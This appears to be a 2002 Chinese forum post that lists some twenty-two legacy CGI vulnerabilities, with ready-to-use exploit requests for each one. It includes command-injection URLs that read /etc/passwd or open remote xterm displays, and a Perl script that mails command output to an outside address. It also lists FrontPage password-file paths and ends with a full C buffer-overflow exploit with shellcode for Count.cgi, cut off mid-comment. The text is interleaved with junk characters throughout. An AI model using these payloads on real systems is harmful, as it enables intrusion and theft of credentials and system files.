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CGI漏洞

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发表于 2002-2-10 17:00:18 | 显示全部楼层 |阅读模式
对于下面列出的CGI漏洞,简单的讲,可以通过直接删除程序或者改写程序来达到安全的目) T1 u8 `0 g1 n7 `( a3 m6 N, s0 `( S
3 _+ d3 l, N# F. y
一.phf漏洞
0 @, r7 P' f+ i( i: }4 L. f这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示
! \# _& v- p1 q9 `7 p" T/etc/passwd:
$ T$ N1 N7 ]4 P! {1 plynx http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd9 ~  n! r& p+ P5 U
但是我们还能找到它吗?5 b& X! i2 ]* `3 @+ {' A
二.php.cgi 2.0beta10或更早版本的漏洞
3 _0 v# p3 }4 ^" a; ^可以读nobody权限的所有文件.
7 T7 C$ `0 h! z% b  q2 T% Klynx http://www.victim.com/cgi-bin/php.cgi?/etc/passwd
7 `! M" z" l( k3 e1 C7 r  sphp.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在
! L% s8 B8 `" L: M- h. l" u/etc/master.passwd
6 c; W1 _! {  K! n+ s5 @, D/etc/security/passwd等.$ m. d5 u. g; {2 w! j; }! v
三.whois_raw.cgi
$ l' m* o2 [3 @4 Xlynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd
  T0 u  _4 d. `7 ]) k+ |lynx http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xter
+ ^; s" y6 r  }2 v2 Mm%20-display%20graziella.lame.org:0
2 t+ d7 d, }; m" {# A' J: S3 h四.faxsurvey
; c* V8 z% D9 ]7 p; G( dlynx http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
7 J6 x6 Y) L% ?6 z; p4 i" D: ?五.textcounter.pl& k/ P6 h, I* Q( s
如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令.4 J) H+ |, v9 ^- X# F( L
#!/usr/bin/perl
/ C$ w9 N( W* _1 G4 i: }2 W$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
" d$ H3 q/ ^* ~/ h' W, U$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this, D' m6 P, e. c. [! T# M6 `9 [
if ($ARGV[0]) { $CMD=$ARGV[0];}else{
( O1 T8 i9 E; y  v: E1 q. h# R8 b$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe
0 V9 V; G+ q. J5 ?1 W4 n4 Bre_one";
7 s% G( _$ @; V9 i0 r( U/ p( _}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\# _, b& P% R3 c$ \: b2 y
n";
1 O8 h* V/ ], @! O( E! q( `, D) Tsystem({"wget"} "wget", $text, "-O/dev/null");
" \% a+ m& |6 t6 W. o4 Asystem({"wget"} "wget", $text, "-O/dev/null");
) }; U" G: A/ n* s1 e8 v#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
  O1 P! m$ j  H5 Q( a- a9 R#system({"lynx"} "lynx", $text);( W9 Z6 X/ s% }
六.一些版本(1.1)的info2www的漏洞+ ]; n# i" r" v' s  Q+ C
$ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)'
, n5 s7 `9 G$ R/ @$# r/ a0 D8 e9 W0 Z$ V: G
You have new mail.9 k* n! q& s1 U3 ~" p- H3 b* u
$
" r5 H4 r  v; G说实在我不太明白.:(8 o) @' Y: `! B; S6 O  ~
七.pfdispaly.cgi
0 Q7 Y! S  o: i) J( ?% vlynx -source \8 c" j8 W8 K$ H2 a
'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
7 \. x" C* Q/ R( r4 U) n1 Dpfdisplay.cgi还有另外一个漏洞可以执行命令! b! E2 H' D& T! A6 U
lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
7 w- @  R6 Z9 @1 q4 Gor# A. c0 q0 \( E2 p  I6 F
lynx -dump \
0 ~7 c: m, X; l# J6 b( r) ghttp://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi
& [2 P5 {" q, n& ol:0.0|'
1 n: C6 y4 f5 A$ [( U+ B( J八.wrap
: b$ w3 Q2 e- M% j* l9 ~. Blynx http://www.victim.com/cgi-bin/wrap?/../../../../../etc% H9 J1 ?3 i) g# m9 x
九.www-sql
( y: d: j$ A$ f# e+ s- J& ^3 Z可以让你读一些受限制的页面如:
( a% M6 Y, w& b7 }# }1 y6 a7 S# Z在你的浏览器里输入:http://your.server/protected/something.html:. w( S3 U3 u' @
被要求输入帐号和口令.而有www-sql就不必了:
& t( f2 ]7 ]+ S4 U& Y) |' ^http://your.server/cgi-bin/www-sql/protected/something.html:; i8 f# d3 j( f7 E" D
十.view-source% S& V) s3 z6 d, q* g' o! W
lynx http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/pass. f8 q5 @" E7 L" u) x  x
wd
" M; `  z/ d1 S9 Z% c% M十一.campas
4 z- x% R0 ?. w7 U- [) Tlynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a) P) \7 l; x% ]' {" B
十二.webgais/ o1 b/ f4 j/ i
telnet www.victim.com 80  X! f# R+ |' @0 l
POST /cgi-bin/webgais HTTP/1.0
% Y( R9 u8 K: V$ h6 ^0 e  y9 Z; CContent-length: 85 (replace this with the actual length of the "exploit"line/ y) c, v3 j/ m
)2 l  F/ R- O: K$ n" a
query=';mail+drazvan\@pop3.kappa.roparagraph+ S1 M5 e7 R2 ]1 t1 _6 s
十三.websendmail
. |1 i  _6 X9 n3 G# otelnet www.victim.com 80
6 p; [2 q: T! }) a) XPOST /cgi-bin/websendmail HTTP/1.0
+ l7 E! H( ?0 w$ ?Content-length: xxx (should be replaced with the actual length of the
" l1 h! ]# N6 N1 c7 Fstring passed to the server, in this case xxx=90)3 Y1 S. i- f! T1 R: F% C
receiver=;mail+your_address\@somewhere.orgubject=a&content=a
0 P) G" A5 L+ O- d& b( {% n, X, K% j十四.handler7 n6 L' t+ G7 j5 T; |
telnet www.victim.com 80& a! ]5 B% |) w1 o  E1 C* d8 \. F
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=DownloadHTTP/1.0+ X4 I/ t3 I, L& a2 K# e
or# G1 C( M! N  v2 f8 u; ~
GET /cgi-bin/handler/blah;xwsh -display yourhost.com|?data=Download  _# X4 L$ B. G& k
or
7 c: q2 U, ]) @. @& R9 r2 Q, ?- eGET /cgi-bin/handler/;xterm-displaydanish:0-e/bin/s! \4 ?) c( k0 G0 p3 ]4 g" O6 d; K
h|?data=Download# I& X2 o9 Y; b. |2 G
注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命4 `  p6 S7 V# M9 K3 P8 L  o
令.6 g0 m- a* M2 }" Z0 k$ d
十五.test-cgi
( P0 h% a# r4 h2 y' s7 v$ F6 Wlynx http://www.victim.com/cgi-bin/test-cgi?\whatever
4 m: P6 I, u0 e% kCGI/1.0 test script report:
! H6 M4 l) b2 Z% B/ Aargc is 0. argv is .4 A$ }( F1 S- Y% u5 Y% }. n8 r
SERVER_SOFTWARE = NCSA/1.4B7 M" b! G% P/ {0 {. y
SERVER_NAME = victim.com' a  y  [+ x* n* H" W6 k7 G
GATEWAY_INTERFACE = CGI/1.17 r; n2 j/ G# d: x& {
SERVER_PROTOCOL = HTTP/1.00 K9 b+ b1 o; y
SERVER_PORT = 80, S% B  b: h0 u  G0 Y0 P, [7 g$ q
REQUEST_METHOD = GET
# R4 {! T/ s; ]) `, `HTTP_ACCEPT = text/plain, application/x-html, application/html,9 y2 B4 t1 N5 ]
text/html, text/x-html
) H  e" x2 r* C2 p& B/ nPATH_INFO =6 v7 [* G) @* t8 |2 T7 j3 ~
PATH_TRANSLATED =3 Q. N% \; F# d
SCRIPT_NAME = /cgi-bin/test-cgi# X$ [$ o# R, ~( G
QUERY_STRING = whatever
; `! C3 N+ Y  t/ c: KREMOTE_HOST = fifth.column.gov
6 t& [% t6 i( b4 j0 XREMOTE_ADDR = 200.200.200.200
. L6 L+ I% U" R4 Z5 `REMOTE_USER =
: m; H- q' [- D% R6 }1 V- x' b) j/ T: [AUTH_TYPE =. B7 W: M  G( @# U5 C' Z; E
CONTENT_TYPE =/ i6 }* y1 d- Y& p) A6 w1 c4 W
CONTENT_LENGTH =0 k0 }( m& o' T
得到一些http的目录, L  A9 Z. f3 V* ]/ R6 u- n# j) z
lynx http://www.victim.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd1 B. ]  Z6 J  ]7 z
这招好象并不管用.:($ R# {- e# P, e. _
lynx http://www.victim.com/cgi-bin/nph-test-cgi?/*
+ I7 ?3 T* y/ ?$ y1 }' C% w7 u  J8 f还可以这样试
0 n1 X' A1 m3 l8 X5 RGET /cgi-bin/test-cgi?* HTTP/1.0
% b$ b0 u6 H, e- HGET /cgi-bin/test-cgi?x *
2 U) K( z& C3 B; TGET /cgi-bin/nph-test-cgi?* HTTP/1.0
& H4 c' I3 a7 p- f2 ?& o. {  zGET /cgi-bin/nph-test-cgi?x *. I! F" O! ^7 M9 ^
GET /cgi-bin/test-cgi?x HTTP/1.0 *; E4 C8 W8 ^( K' ]+ x: |, ^" I  A
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
; c* ]# s- V5 y十六.对于某些BSD的apache可以:) @# G! q. a) b( G2 d. g! g
lynx http://www.victim.com/root/etc/passwd( y+ \8 u& f- V: t2 U9 I0 J8 D
lynx http://www.victim.com/~root/etc/passwd( t7 c  z& _- u
十七.htmlscript
/ s2 F  v* Z0 t; q  ^lynx http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd$ H! ?" n) }9 H. Y# n
十八.jj.c
7 @& I3 A( o3 n0 gThe demo cgi program jj.c calls /bin/mail without filtering user* T% m# u; `4 J% k; y
input, so any program based on jj.c could potentially be exploited by/ A) }% |5 L; A+ O4 M# B
simply adding a followed by a Unix command. It may require a! Z- L, y4 C* y& ~2 R
password, but two known passwords include HTTPdrocks and SDGROCKS. If1 P* }/ ?  k# T7 ]
you can retrieve a copy of the compiled program running strings on it2 t# T! l( P+ L/ N
will probably reveil the password.; _& ?9 J% r% J% I' G
Do a web search on jj.c to get a copy and study the code yourself if
* C% B' q: k9 P2 e$ [you have more questions.
8 F1 |' W9 B3 D% U( T) }; l" W十九.Frontpage extensions7 N9 ^, A* }' [/ h' L
如果你读http://www.victim.com/_vti_inf.html你将得到FP extensions的版本2 L$ y$ h4 k0 c8 N/ O- n3 D+ B
和它在服务器上的路径. 还有一些密码文件如:1 ^9 Y: z/ m; J$ U2 ?* O
http://www.victim.com/_vti_pvt/service.pwd
# y6 \; ^/ ?  ?: ]http://www.victim.com/_vti_pvt/users.pwd- \+ t  y5 }; o0 Z
http://www.victim.com/_vti_pvt/authors.pwd+ Q3 t- G1 L# |. Q
http://www.victim.com/_vti_pvt/administrators.pwd9 B3 Q5 c, [( `: `4 f! S" @- ~
二十.Freestats.com CGI* L. @% g6 R( q
没有碰到过,觉的有些地方不能搞错,所以直接贴英文.6 n$ l6 a% Z$ r, I" b
John Carlton found following. He developed an exploit for the
* K8 H  Z/ S$ h* {# i& ufree web stats services offered at freestats.com, and supplied the4 L6 E: V" ]' C; p6 x7 c- Y
webmaster with proper code to patch the bug.
* S5 L8 D1 e  j% nStart an account with freestats.com, and log in. Click on the! X5 {0 p& q; @
area that says "CLICK HERE TO EDIT YOUR USER PROFILE & COUNTER! H+ t  |! ~- a* k* l
INFO" This will call up a file called edit.pl with your user #) K) c. h' L. e8 Z
and password included in it. Save this file to your hard disk and
$ e+ Y% }' q$ e6 a! Y9 wopen it with notepad. The only form of security in this is a, p" ]. o) h8 T) i' l: U6 V' G+ }/ m6 k
hidden attribute on the form element of your account number.
; `8 b5 m  |+ r$ DChange this from
3 T0 R4 G+ B& @, I$ t# _' H*input type=hidden name=account value=your#*
& k$ f) v, v% ~+ u2 b% n% `to/ U  X+ K5 M; [, s2 @  {+ N" {$ ~
*input type=text name=account value=""*+ t' u) a5 s6 c$ M% a/ A$ B$ y: e
Save your page and load it into your browser. Their will now be a3 Y. E8 r1 r# D* S( g7 S0 ^9 V1 ^
text input box where the hidden element was before. Simply type a
( j6 e1 b* ?" T: P# in and push the "click here to update user profile" and all the( p3 l/ B; U- T6 Q; |3 A2 W
information that appears on your screen has now been written to
! X4 d2 ?# K* |6 z, othat user profile.& \0 I; L, ^  I9 ]! {# @
But that isn't the worst of it. By using frames (2 frames, one to
3 u" l. u# J8 \9 c* |; L5 V, r  Ehold this page you just made, and one as a target for the form6 o0 F3 a( {8 r6 ^! u. n) o
submission) you could change the password on all of their accounts5 \) [5 T' G7 |  \) \- b) z
with a simple JavaScript function.1 Y7 B8 e* a9 s
Deep inside the web site authors still have the good old "edit.pl"9 l$ b" K/ K( o) o3 W1 @
script. It takes some time to reach it (unlike the path described)
) v5 w' e1 `0 Q+ P0 Z! ]3 K- Y3 Pbut you can reach it directly at:
0 m& z. [+ P, Q$ z. _http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=
5 q* n7 l$ R2 L" `- z; t4 f二十一.Vulnerability in Glimpse HTTP
0 L9 J0 G$ K* f( W2 l8 N) o. Rtelnet target.machine.com 80" g5 |- b/ q/ A" W: U/ b0 H7 X1 }
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\MD;echo# V  f, A2 P6 ?7 ]) w1 Z3 E
HTTP/1.0- Q/ H; }+ B7 I% R2 q9 L
二十二.Count.cgi
6 S, ?. X( M" W* X该程序只对Count.cgi 24以下版本有效:
8 K4 b' w& E4 h! @' S/*### count.c ########################################################*/6 n- A1 T( `4 S/ U
#include3 Z8 H* _8 \( \% K
#include
& P7 l4 M5 p. H* h( L0 c$ z1 y/ d$ |#include
9 |7 A- ]# E! o7 F#include6 [" Z. Z* ?' a# s; D+ Y& K: k. z6 M
#include
% ?2 E( Y3 M+ H& O) _  V( C& Y#include
5 C' l  u  W0 B#include1 Q" J( ]' ]# K; r
#include
2 y1 z  d6 ?! o/ l& p#include
) \" b+ m* o% R' T' i2 |6 n/* Forwards */* @: A! }0 _9 y' d7 e' p3 l8 ]
unsigned long getsp(int);
' c4 J# h) R( k) @8 [+ g+ n+ jint usage(char *);# X# z$ }& R' f( M
void doit(char *,long, char *);$ J3 f* k: ]$ ^: `
/* Constants */
' \+ f: }9 H0 y- p6 W: }* v5 A, Fchar shell[]=- i, T" h& h, \/ q+ k' r# }
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
! D+ c( {( y5 R' e' F% `  O"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
5 s+ s+ r, w* Y: Q2 q% O3 Z* Z"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
, c: [2 o4 ], o3 j: _"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
- T1 [) u9 E  g, E4 |3 B"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
& u5 B( E$ u* ]"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"3 ~# W; G5 b$ s) Y+ b8 O! q! e6 h
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
# z4 e9 e" E$ O# n% K' T3 t"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"4 L' Y& d" j' F+ k+ i9 J
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8 q& \* A+ f8 b  h( t; H, {. G; h"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
% m, `9 R/ z9 Z9 h"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
4 o/ F8 v: A9 i# U" z, Y"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"1 i" y+ C* V) [$ a4 K0 }
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
4 y, x) ~. W; J3 Q. r4 }"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; \. h+ u- [. W$ Y
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
6 q- |6 X4 \% G"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8 k, W) K+ a# b0 F; ?" L"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
4 o$ A4 m0 G' _9 D6 ]9 F"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90", Q$ R5 `3 U% B2 F1 v5 i8 X
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ s- ~) |* B% _/ w3 e- p
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
! h0 F0 Z- \: R: u; @2 x3 x"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/ n+ X7 M3 ~; u( u4 u* O% P, N6 m1 f6 W"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  V- _# \+ v; y+ ^9 m7 z, h  w
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
+ c2 m8 q/ n$ m; f" H; n9 H* H"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
6 ~2 Y$ B! j0 e' t* w/ w"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
% ^2 _; `9 Y3 Q2 Z( n) G; T1 j"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"- k2 m; P' k# }" X3 o
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff") j6 \. S/ s( E3 T7 C' Q
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"- e) q$ M, }* a
"/usr/X11R6/bin/xterm0-ut0-display0";
5 E. ^3 W9 p/ i+ e2 S* [char endpad[]=
) Z4 h8 \5 ]$ T2 V- o"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"2 [9 c7 a2 ]) O! c
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
4 j/ f" e8 L; z& Q: _5 ?# u) k' V* p1 v9 @) Iint main (int argc, char *argv[]){
( |  ~( w5 t$ E+ e2 L  |. X: fchar *shellcode = NULL;/ t- a. Y3 j! x' `9 p( y
int cnt,ver,retcount, dispnum,dotquads[4],offset;
- ?( x2 B  {6 X0 p- b& i; P( ~unsigned long sp;
  H) [- ~& g+ H. gchar dispname[255];  x' _1 L* y3 o" s
char *host;% Z$ U6 a+ C3 Z( _( C. ]( L8 d
offset = sp = cnt = ver = 0;
% F0 i7 o* r( D  G( w3 afprintf(stderr,"\t%s - Gus\n",argv[0]);
" `5 B9 n* B& B" [, ]if (argc<3) usage(argv[0]);. @, c9 E6 \  z0 h* x8 \) q
while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
; T0 ?3 _: L( S  p' rswitch(cnt){
; F1 L) l8 q: vcase 'h':
5 J2 {+ N4 B6 K) g( {) bhost = optarg;2 E# b5 Z: z7 W( z8 M7 a" f
break;
$ E) y8 d1 y6 Q) d% h6 o5 Ccase 'd':
% t5 R: \( g! {! X{, R2 Q, R  f: j7 H6 ]2 |
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
4 }* ~" B5 t) L) }&dotquads[0],/ L. S, F& D7 S9 h
&dotquads[1],9 {" _) K; M9 l, y  p, i
&dotquads[2],; |7 [8 e* q4 \+ ^; n0 ~
&dotquads[3], &dispnum);5 G# e  _1 W2 Q' t
if (retcount != 5) usage(argv[0]);
1 [$ d. B; e- A2 P: fsprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
! f) w$ Q. w5 X* S7 ?! X5 jdotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);% E' I& v3 |! l8 {) [3 F8 o4 C6 _
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
) @$ ?# [. |7 W* M7 ~% E8 jsprintf(shellcode,"%s%s%s",shell,dispname,endpad);
5 S( Q4 D3 i2 s9 D. b}$ ~- f7 T1 Q, k; o: _- [5 }! z2 n
break;2 Y8 v: S" k! Y& ^$ r$ C
case 'v':1 q' S' {9 Z6 G3 h2 {/ G
ver = atoi(optarg);% t$ v% c# }6 ?
break;
3 p0 H6 \/ I4 f4 u9 wcase 'o':
+ @& B& o, @( Q! s% c' d& |offset = atoi(optarg);
1 D' I! y+ n, z4 Ibreak;
- J( n) s  G- ]2 e/ V" z& |1 c( c5 vdefault:
) @* D. ?: C" U2 m6 s' H+ p/ Husage(argv[0]);. ^3 _' e( ^8 G1 O2 D( O1 d
break;# i( L9 x( }* \% B  o3 a
}
' M$ f; Y7 [( Q6 o" O}
7 R" W5 i8 u1 {" W0 t# msp = offset + getsp(ver);
0 N7 J+ z' a: |(void)doit(host,sp,shellcode);8 G$ C7 ?6 {5 ?; @
exit(0);4 ^; C2 r7 r" B5 M. _  w9 g
}
5 e& b% M5 n# w* J' Uunsigned long getsp(int ver) {# @6 Q9 A' A! ~% o( M  p! O$ ]
/* Get the stack pointer we should be using. YMMV. If it does not work,
2 u0 k2 P5 E# c" I+ F$ u7 u' ntry using -o X, where x is between -1500 and 1500 */5 x! t1 e# j8 h, j3 ]( j. N
unsigned long sp=0;
/ A- l' h4 X3 j' P0 Fif (ver == 15) sp = 0xbfffea50;
0 b# I; G# J( G4 I$ T: G+ jif (ver == 20) sp = 0xbfffea50;% b7 d# E% @$ C! d- Q" S6 W0 S
if (ver == 22) sp = 0xbfffeab4;
' n: V& M; N+ i" \& ^8 x. l$ X- Oif (ver == 23) sp = 0xbfffee38; /* Dunno about this one */# W9 P4 a" G, W' u" [# F3 i
if (sp == 0) {, h3 x1 W: E$ y1 F
fprintf(stderr,"I don't have an sp for that version try using the -o option.
# @+ G1 e+ N0 ^8 p# N\n");/ J5 p5 y1 G- \3 ?% f) l
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
/ q4 X: X/ n+ `6 \& |: t2 kexit(1);! d8 v$ }, ]) R& c
} else {
, \* F8 E9 {4 A) Q% ireturn sp;* q' }5 r( S& x
}0 B# R/ M/ z. p
}
+ b" G: N  ]' z9 n7 q0 I0 [1 rint usage (char *name) {- x( L8 S  z. F5 _
fprintf(stderr,"\tUsage:%s -h host -d  -v  [-o ]\n& K( [2 Y* `3 m( f
",name);
4 j* M* K, v# |& ]+ q1 B7 ^fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
% u: y+ N; K) X0 g5 _exit(1);
/ i' Q8 H4 p/ F8 e! ~. j9 }" r}$ Q. V9 T7 X7 `3 e8 ]& V8 e
int openhost (char *host, int port) {% R, d, ]4 N/ y" H
int sock;
; Z# c) w, ^+ A6 E/ Qstruct hostent *he;7 a6 ~/ M; j. D8 }" ]1 I7 v
struct sockaddr_in sa;2 b* F6 l8 `- ^
he = gethostbyname(host);
: H( Y0 Q+ N/ Y& Y+ {1 z( Fif (he == NULL) {6 {& S* N7 A, j$ M5 t0 U; _2 j
perror("Bad hostname\n");5 L* G; }! p! U- r- m
exit(-1);4 n3 k1 V& a- x% M1 k6 y
}
5 I# v! r/ P3 ]; `: ^" Mmemcpy(&sa.sin_addr, he->h_addr, he->h_length);
' ?+ s8 f3 J  v7 j7 _6 ysa.sin_port=htons(port);
# R* K4 r3 w7 D* Q" D. msa.sin_family=AF_INET;
- z2 ^; T* T2 V$ `5 Asock=socket(AF_INET,SOCK_STREAM,0);
+ p+ ^4 q: _3 A6 w! {4 _if (sock < 0) {3 b, O& R0 L. u! T+ B9 ~
perror ("cannot open socket");) n/ r% b  z# \! U' e
exit(-1);
& k, |% i7 J- }  L( e5 Q' z  l}. {& s$ y2 L$ k3 W
bzero(&sa.sin_zero,sizeof (sa.sin_zero));
! E/ p' j2 h  s" R$ Oif (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {( G$ Z- j' `8 j9 G, \! W
perror("cannot connect to host");
% R' V3 X) H4 texit(-1);0 m1 \" ]. }; x' {/ `5 O$ B" k
}. e  ?6 j6 m; }9 o
return(sock);/ }$ W# M& R; n) `6 u- `
}
# T. ?: a4 ]$ S& cvoid doit (char *host,long sp, char *shellcode) {# P/ w# v$ G* L% j; S. h; h7 b
int cnt,sock;$ t/ z" ~! H3 A" O  F& M
char qs[7000];* I$ J  f" e0 B2 j7 ~! z# a! n
int bufsize = 16;3 K8 m+ P6 x! X6 @' O, {, i
char buf[bufsize];
' s4 T8 P7 I( Y1 Xchar chain[] = "user=a";
5 i: \0 M+ d6 i6 [. G  y& y) qbzero(buf);3 Q; i5 B( ?& n
for(cnt=0;cnt<4104;cnt+=4) {) r0 U3 [  C1 `" v9 L
qs[cnt+0] = sp & 0x000000ff;: ^9 S3 x) N; h
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
$ [) Q: R( d3 d4 `+ j0 k: sqs[cnt+2] = (sp & 0x00ff0000) >> 16;4 @* ]/ b, d# |$ y/ Y& S/ l/ h( N# `  ~
qs[cnt+3] = (sp & 0xff000000) >> 24;2 t" t$ R$ X% c& ^" |2 t! x* m
}
) V/ x7 |; L! e$ O: f2 ?strcpy(qs,chain);
2 S. w  W2 y- g+ y3 f/ t' \qs[strlen(chain)]=0x90;
" f$ g7 ]0 L: A/ C, r3 @qs[4104]= sp&0x000000ff;
/ b/ p% b% y& A" [6 F# i& nqs[4105]=(sp&0x0000ff00)>>8;
2 e  {: g# m1 ^. q7 Pqs[4106]=(sp&0x00ff0000)>>16;: O6 g2 g1 M* \# Y+ f( [
qs[4107]=(sp&0xff000000)>>24;
2 f0 K7 E* ~7 W# s" e( i4 _qs[4108]= sp&0x000000ff;
* _1 j4 J& `  C1 H  C1 z' `qs[4109]=(sp&0x0000ff00)>>8;
: F6 y9 D* o- f5 ~9 t8 D& H3 Eqs[4110]=(sp&0x00ff0000)>>16;% B6 J6 Y/ o0 z4 B: J* ]+ f( u
qs[4111]=(sp&0xff000000)>>24;3 ]6 |. c9 |9 f  G% Q" w6 O
qs[4112]= sp&0x000000ff;5 }3 g; U# T, h. ?. ]8 Y8 ]
qs[4113]=(sp&0x0000ff00)>>8;
% s* C5 R; V; X1 O6 w# P0 hqs[4114]=(sp&0x00ff0000)>>16;, C: R4 v& M; s; d( c- G/ l
qs[4115]=(sp&0xff000000)>>24;
9 Q" a! q! E5 c2 u" z- Dqs[4116]= sp&0x000000ff;0 L, e2 A8 v. `) v4 F/ s
qs[4117]=(sp&0x0000ff00)>>8;+ f1 M" [2 X7 x$ w' J4 }
qs[4118]=(sp&0x00ff0000)>>16;
$ d3 W' K; d) [, v# Cqs[4119]=(sp&0xff000000)>>24;
9 d. |- _. q, Xqs[4120]= sp&0x000000ff;
% \/ A7 d$ n. c' E% J8 M5 S8 dqs[4121]=(sp&0x0000ff00)>>8;
9 y1 n, J7 R  Eqs[4122]=(sp&0x00ff0000)>>16;0 V3 O  q0 D( x( K+ }1 }% ^5 H; k
qs[4123]=(sp&0xff000000)>>24;7 D2 R! E) c0 R: N! A/ Q+ c
qs[4124]= sp&0x000000ff;
+ ]. R5 m6 j) e9 dqs[4125]=(sp&0x0000ff00)>>8;, h) }, ^6 e% u0 ?+ j" O
qs[4126]=(sp&0x00ff0000)>>16;
: }- ]& C8 ?1 t; v" Wqs[4127]=(sp&0xff000000)>>24;. }3 h! n! I; G# E
qs[4128]= sp&0x000000ff;
, D- L8 z: g3 p$ m  g+ h& a, e  Lqs[4129]=(sp&0x0000ff00)>>8;. M* b2 S9 T% X  h0 M, L
qs[4130]=(sp&0x00ff0000)>>16;
- U8 R' L. e" w6 N% U& O6 ?1 ]4 }qs[4131]=(sp&0xff000000)>>24;- ^! b7 Y7 I' i  f% J
strcpy((char*)&qs[4132],shellcode);
) N' d; F6 ?# J! L' A, wsock = openhost(host,80);
0 A1 q# F7 n4 G4 [: hwrite(sock,"GET /cgi-bin/Count.cgi?",23);
) [& [" j0 _* q0 c& Kwrite(sock,qs,strlen(qs));( c2 Z( F& L) X! G. m
write(sock," HTTP/1.0\n",10);' W4 t5 C6 O& D! X
write(sock,"User-Agent: ",12);
: {: g$ p( I" e4 N8 Ewrite(sock,qs,strlen(qs));
. Q, I+ G( A- N: T3 @% Dwrite(sock,"\n\n",2);7 ~* l, D- k( ~& Y( j; b) p* @( p
sleep(1);
; }7 q5 |$ g3 v+ ^* c: Y/* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); *1 q8 P! V; W; t3 A, q6 V2 O- G9 v
/
, C) N4 i/ c1 ^+ Z/*. k6 A, j+ {& {: N8 N; o- G2 }
